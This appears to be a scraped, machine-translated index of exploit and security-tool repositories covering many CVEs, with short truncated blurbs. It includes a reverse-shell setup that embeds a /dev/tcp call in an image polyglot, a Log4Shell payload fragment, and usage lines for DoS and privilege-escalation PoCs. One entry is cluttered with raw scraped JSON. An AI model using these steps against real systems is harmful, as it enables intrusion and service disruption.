CVE-2023-24610

CVE-2023-24610 Questa è una prova di concetto per CVE-2023-24610 Iniziamo creando un file poliglotta usando exiftool: exiftool -Comment="/dev/tcp/172.17.0.1/8888 " avatar.png -o polyglot.php Cambiamo il file in png in modo che superi il controllo del front-end Dopo di che, avviamo un listener nc...

CVE-2022-29078

Sfida THM: SSTI RCE...

CVE-2024-1403

CVE-2024-1403 Bypass di Autenticazione Progress OpenEdge Un proof of concept di exploit per Progress OpenEdge CVE-2024-1403. Post sul Blog Maggiori dettagli qui: https://www.horizon3.ai/attack-research/cve-2024-1403-progress-openedge-authentication-bypass-deep-dive Utilizzo Devi fornire le tue...

Log4Shell-Payloads

🚨 Raccolta di Payload Log4Shell Una lista curata di payload di sfruttamento Log4Shell / Log4J che mirano a: CVE-2021-45046 CVE-2022-42889 🔗 Di @nav1n0x 🔥 Payload One-Liner ✅ One-liner 1bash cat vulnerable-hosts.txt | sed 's/https?:////' | xargs -I echo...

tkeypoc

PoC per CVE-2015-5477 BIND9 TKEY DoS Questo codice invia un pacchetto UDP che fa crashare i server DNS BIND9 vulnerabili. root@kitploit: elceef@osiris:/tkeypoc$ ./tkeypoc.py localhost CVE-2015-5477 BIND9 TKEY PoC Sending packet to localhost ... Done...

CVE-2025-24118

TRAVERTINE CVE-2025-24118 Analisi: https://jprx.io/cve-2025-24118 Utilizzo root@kitploit: gcc TRAVERTINE.c -o travertine chgrp everyone travertine chmod g+s travertine ./travertine...

Guide-and-theoretical-code-for-CVE-2023-35674

Leitfaden-und-theoretischer-Code-für-CVE-2023-35674 Leitfaden und theoretischer Code für CVE-2023-35674 Da Android außerhalb meiner Fähigkeiten liegt, betrachte dies bitte als groben Überblick aus meiner Sicht, wie ich diese CVE ausnutzen würde. Die Code-Snippets sind nur Skelette, bitte helft mi...

Rabbit Hole

Panoramica Rabbit Hole fornisce un sottoinsieme molto limitato delle funzionalità di Maltego, focalizzato sulla creazione di rappresentazioni visive di informazioni per il Penetration Testing. Consente la creazione di vari tipi di nodi come indirizzi IP, porte, servizi, ecc. e collegamenti tra di...

CVE-2020-9484

...

CVE-2022-30190

CVE-2022-30190 Questo repository tratta di Follina MSDT dalla prospettiva di Defender Indice Informazioni Cronologia Capire l'exploit Elenco degli IOC Strategia di rilevamento Test e ricerca Piani di mitigazione Riferimenti Informazioni Il bug è una vulnerabilità di esecuzione remota di codice...

whalescan

Whalescan Scanner de vulnerabilidades para contêineres Windows. Primeiros Passos root@kitploit: git clone https://github.com/saira-h/whalescan pip install -r requirements.txt python main.py Visão Geral O Whalescan realiza várias verificações de benchmark, além de verificar CVEs. Esta ferramenta...

Dolibarr-17.0.0-Exploit-CVE-2023-30253

Readme.md CVE-2023-30253 CVE-2023-30253 ist eine Sicherheitslücke in der Dolibarr-Software, die es authentifizierten Benutzern ermöglicht, Remote-Code auszuführen, indem eine Großschreibungs-Manipulationstechnik in injizierten Daten verwendet wird. Auswirkungen Diese Schwachstelle kann von...

CVE-2023-22894

Unauthenticated Strapi Exploit: CVE-2023-22894 Dieses Repository enthält einen Proof-of-Concept PoC-Exploit für CVE-2023-22894, der es nicht authentifizierten Benutzern ermöglicht, vertrauliche Informationen preiszugeben und Strapi-Administratorkonten zu übernehmen, indem die Filterfunktionalität...

Cisco-CVE-2020-3452-shodan-scanner

Cisco-CVE-2020-3452-checker Einfaches Bash-Skript des Cisco CVE-2020-3452-Checkers Voraussetzung: Shodan-CLI : pip install -U --user shodan" https://help.shodan.io/command-line-interface/0-installation Haftungsausschluss: Das Skript dient ausschließlich der Sicherheitsanalyse und -forschung, dahe...

DirtyPipe-CVE-2022-0847

DirtyPipe-CVE-2022-0847 Dieses Repository wurde entwickelt, um den DirtyPipe-Exploit CVE-2022-0847 für meine Aufgabe im 3. Jahr, 1. Jahr des Kurses für sichere Softwaresysteme zu analysieren und zu verstehen. Von mir verfasstes Paper Das Paper wird nach Ende meines Semesters verfügbar sein...

CVE-2022-26503

CVE-2022-26503 Riepilogo: Vulnerabilità CVE-2022-26503 in Veeam Agent per Microsoft Windows consente l'escalation dei privilegi locali. Un attaccante che sfrutta con successo questa vulnerabilità potrebbe eseguire codice arbitrario con privilegi LOCAL SYSTEM. Un ringraziamento a @ultrayoba La...

CVE-2019-6467

CVE-2019-6467 BIND nxdomain-redirect Solo per scopi educativi Esecuzione root@kitploit: $ docker run --rm --name cve-2019-6467 -it -p 53:53/udp knqyf263/cve-2019-6467 Exploit Query normale root@kitploit: $ dig @127.0.0.1 nxdomain.example.com nxdomain può essere sostituito con qualsiasi termine ch...

katana

Um framework de crawling e spidering de próxima geração \n\n\n", "technologies": "Azure", "Amazon ECS", "Amazon Web Services", "Docker", "Azure CDN" , "raw": "HTTP/1.1 200 OK\r\nContent-Length: 1256\r\nAccept-Ranges: bytes\r\nAge: 331239\r\nCache-Control: max-age=604800\r\nContent-Type: text/html...

CVE-2017-5638_struts

Ho esteso ulteriormente lo script di Scott Campbell, rendendolo più complicato : Mentre "HTTPStrutsAttack" bloccherà il 100% della ricognizione, c'era ancora una minima possibilità che se uno scanner colpisse un sistema vulnerabile, anche se avessimo bloccato lo scanner, il sistema vulnerabile...

nextjs-cve-2025-29927-poc

Next.js POC für CVE-2025-29927 Umgehung der Autorisierung in Next.js Middleware · CVE-2025-29927 · GitHub Advisory Database Next.js und die korrupte Middleware: das autorisierende Artefakt - zherowebsecurity- Was ist das? Diese Schwachstelle ermöglicht es, die Middleware-Logik zu umgehen...